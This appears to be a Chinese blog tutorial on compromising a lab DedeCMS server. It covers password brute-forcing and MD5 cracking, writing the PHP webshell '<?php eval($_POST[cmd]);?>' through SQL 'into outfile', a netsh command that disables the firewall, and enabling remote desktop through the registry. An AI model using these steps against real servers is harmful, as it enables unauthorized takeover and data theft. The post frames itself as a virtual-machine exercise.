首页 > 其他分享 >通过渗透拿到对方web网站服务器控制权!让对方服务器成为木偶?

通过渗透拿到对方web网站服务器控制权!让对方服务器成为木偶?

时间:2024-07-20 14:55:07浏览次数:17  
标签:web 网站 数据库 对方 木马 服务器 远程

一.靶场服务器打开(模拟要攻击的对象)

1.1打开web服务

1.2查看IP

1.3右键计算机属性  远程设置 不允许远程链接  (后面会通过远程渗透打开这个功能)

1.4 将 服务器 (此电脑) 用户  设置密码 并将服务器锁定

二.打开win11攻击机

上一篇文章中已经将对方网站登录密码破开,于是我们要进一步的进行web渗透

2.1 目录探测

打开工具  填写完毕进行扫描(网址少打了2)

由于是织梦的源码 我们很快知道了后台登录目录 网站/dede 

同时得到了操控数据库的后台登录地址

于是我们拿到了两个页面 ,通过对比发现 左侧带验证码的有一点难度进行破解于是我们把矛对准右侧()

2.2用字典进行爆破

是弱口令 直接进来了(生产环境基本破不开)(演示理论为主)

迅速找到管理员账号密码

2.3网上查找资料发现是加密的明文   

送到MD5 网站解码(md5在线解密破解,md5解密加密)

解码成功 (但是很多密码都是破不不来,解码一般失败)

所有我们直接在后台改密码

在进行加密和解密明文的时候发现 两者之间不一样 仔细观察就会发现有关系

织梦在写密码入库的时候去除了前五和后7位 ,中间留20位

成功进入网站后台

三.利用一句话木马进行操控对方服务器

3.1新建文件 1.php (此命令是打印服务器相关信息)

源码做了限制无法进行上传

怎么办?????

引入新的知识点                                                                                 

数据库漏洞导致:

1.数据库脱库、泄露

2.数据库可以向操作系统写文件,写木马?

木马: 是一段脚本代码 可以是php jsp asp aspx 等网站脚本程序 也可以是 .exe的可执行的文件

木马的作用: 获得目标服务器的webshell (通过web代码获得网站的命令行或图形化操作权限)

3.2 通过数据库进行写文件(数据库未开防火墙,一般开的会屏蔽此代码)

select  "<?php eval($_POST[cmd]);?>"  into  outfile  “这里写要添加文件的绝对路径”

3.3找到网站根目录(C:/phpStudy/www/)

3.4 利用sql语句进行创建文件同时  写入代码

正常打开就上传成功

3.4 用远程工具 链接(菜刀 蚁剑 冰蝎 哥斯拉)

链接到网站根目录

四.用远程工具,进入服务器页面

发现登录链接不上

原因: 1.对方开启了防火墙

2.对方关闭了远程连接(在实验刚开始的时候,已经关闭了远程连接)

4.1 关闭防火墙

netsh advfirewall set allprofiles state off

adv高级防火墙   allprofies 所有设置

(发现无用)

4.2 利用漏洞开始远程桌面  3389端口

利用脚本一键开启

修改windos注册表

4.3连接上了但是不知道管理员账号密码

(进入终端改账号密码)

成功进入桌面

ps:全部使用虚拟机完成,无任何网络安全攻击

下一期会使用liunx 攻击机  进行渗透  

标签:web,网站,数据库,对方,木马,服务器,远程
From: https://blog.csdn.net/2301_80077458/article/details/140564977

相关文章

  • Javascript 在我的本地服务器上运行,但在 WordPress 上不起作用
    大家好,我有一个问题。我有一个在本地服务器中完美运行的模板/主题,但是当我将其移动到Wordpress时,根据我的研究,我得到了“jQuery不兼容”的信息。 我附上了代码的图像。你能帮我一下吗,一切看起来都很完美,在我看来一切都很完美,但在Wordpress中却不然。提前谢谢你!......
  • 超详细的MySQL基本使用教程(1) 黑马程序员javaweb学习笔记+练习(附带idea新版ui图形化页
    什么是数据库MySQL概述数据模型关系型数据库SQL简介小结DDL-数据库的设计数据库的常见操作选中该语句然后点运行就成功运行了可以直接用图形化界面进行操作跳转到控制台表的常见操作1.创建练习在db01中创建这张表其中comment是鼠标悬停在......
  • 一、Oracle DB服务器体系结构概览。
    一、OracleDB服务器体系结构概览。  OracleDB服务器体系结构包含以下三种主要结构:内存结构、进程结构和存储结构。基本的OracleDB系统由OracleDB和数据库实例组成。数据库包括物理结构和逻辑结构。由于物理结构和逻辑结构是分开的,因此管理数据的物理存储时不会影响......
  • 云服务器部署SSM项目(前后端不分离)
    1.准备云服务器以华为云为例:免费云服务器_试用_云服务器免费_低价云虚拟主机VPS_个人免费云服务器-华为云(huaweicloud.com)https://activity.huaweicloud.com/free_test/index.html?utm_source=special&utm_medium=organic&utm_adplace=pro-ecs-register_guanggao2购买完......
  • 9.创建更好的 Web API
    WebAPI是互联网的精髓。它们为开发人员提供了网络的开放性和访问互联网上任何数据的能力。但是,有一些特定于API的最佳实践。选择正确的HTTP动词的能力、如何记录API和测试API只是我们将介绍的一些主题。话虽如此,本章涵盖的技术非常广泛且密集。我们将尝试打包尽......
  • 克隆的TrinityCore服务器网速慢卡顿问题的解决(未解决)
    一台TrinityCore服务器,采用的是备份克隆安装的方式,在FreeBSDbhyve中安装Ubuntu,安装细节见如下两篇文档:尝试在FreeBSD的jail、bhyve里安装TrinityCore-CSDN博客备份和镜像TrinityCore_魔兽世界updatingauthdatabase...dbupdater:thegive-CSDN博客这台服务器的问题就......
  • 阿里云服务器高效部署Nacos:打造高可用服务发现与配置管理平台
    1.为什么用阿里云服务器部署nacos当我们考虑为何选择阿里云服务器来部署Nacos时,一个不可忽视的因素是成本效益。特别是当我们选择突发实例型服务器时,按月购买的成本相比其他云服务器提供商来说更为经济划算。然而,除了价格优势外,阿里云服务器还带来了另一个关键优势:那就是其内......
  • JavaWeb学习笔记后端部分
    后端Web开发MavenApacheMaven是一个项目管理和构建工具,它基于项目对象模型(POM)的概念,通过一小段描述信息来管理项目的构建。Maven作用依赖管理统一的项目结构项目构建仓库安装Maven<mirror><id>alimaven</id><name>aliyunmaven</name><url>h......
  • 攻防世界Web_python_template_injection(新手模式)
    二、Web_python_template_injection1.基本知识点模版引擎模版引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。在Jinja2......
  • 【Loading 4/75】Web_SQLi-Labs_WriteUp
    Less-1_GET-Errorbased-Singlequotes-String题目分析根据标题“GET-Errorbased-Singlequotes-String(基于错误的GET单引号字符型注入)”可以猜到本题的闭合方法为单引号闭合,但保险起见咱还是走一遍流程。根据页面给出的提示信息“PleaseinputtheIDasparameterwith......